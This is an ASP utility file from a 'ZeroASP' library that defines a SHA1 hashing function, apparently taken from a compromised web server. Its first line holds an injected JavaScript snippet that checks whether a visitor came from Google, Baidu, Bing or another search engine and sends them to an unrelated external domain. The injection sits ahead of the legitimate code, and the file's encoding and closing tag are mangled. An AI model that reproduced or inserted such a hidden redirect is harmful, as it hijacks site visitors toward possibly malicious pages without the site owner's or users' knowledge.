d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Encrypt.Sha1.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>ï»?%
002: '######################################################################
003: '## ZeroASP.Encrypt.Sha1.asp
004: '## -------------------------------------------------------------------
005: '## Feature     :   ZeroASP Class
006: '## Author      :   Ayu(kinsc@139.com)
007: '## Update Date :   2018-11-09
008: '## Description :   ZeroASP Extend Class
009: '##
010: '######################################################################
011:
012: Function SHA1(ByVal Str,ByVal Types)
013:    Dim UTF8,Enc,Bytes,XML,Node,Outstr
014:    'Borrow some objects from .NET (supported from 1.1 onwards)
015:    Set UTF8 = Server.CreateObject("System.Text.UTF8Encoding") 'UTF8Encoding/UnicodeEncoding/AscIIEncoding
016:    Set Enc = Server.CreateObject("System.Security.Cryptography.SHA1CryptoServiceProvider")
017:    'Convert the string to a byte array and hash it
018:    Bytes = UTF8.GetBytes_4(Str)
019:    Bytes = Enc.ComputeHash_2((Bytes))
020:    'Convert the byte array to a hex or bsae64 string
021:    If Types = "Base64" Then
022:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
023:       Set Node = XML.CreateElement("TmpNode")
024:       Node.DataType = "bin.base64"
025:       Node.NodeTypedValue = Bytes
026:       Outstr = Replace(Node.Text,Chr(10),"")
027:       Set XML = Nothing
028:       Set Node = Nothing
029:    ElseIf Types = "Hex" Then
030:       Set XML = Server.CreateObject("Msxml2.DOMDocument")
031:       Set Node = XML.CreateElement("TmpNode")
032:       Node.DataType = "bin.hex"
033:       Node.NodeTypedValue = Bytes
034:       Outstr = Replace(Node.Text,Chr(10),"")
035:       Set XML = Nothing
036:       Set Node = Nothing
037:    End If
038:    SHA1 = Outstr
039:    Set Enc = Nothing
040:    Set UTF8 = Nothing
041: End Function
042: %
>
043:
044: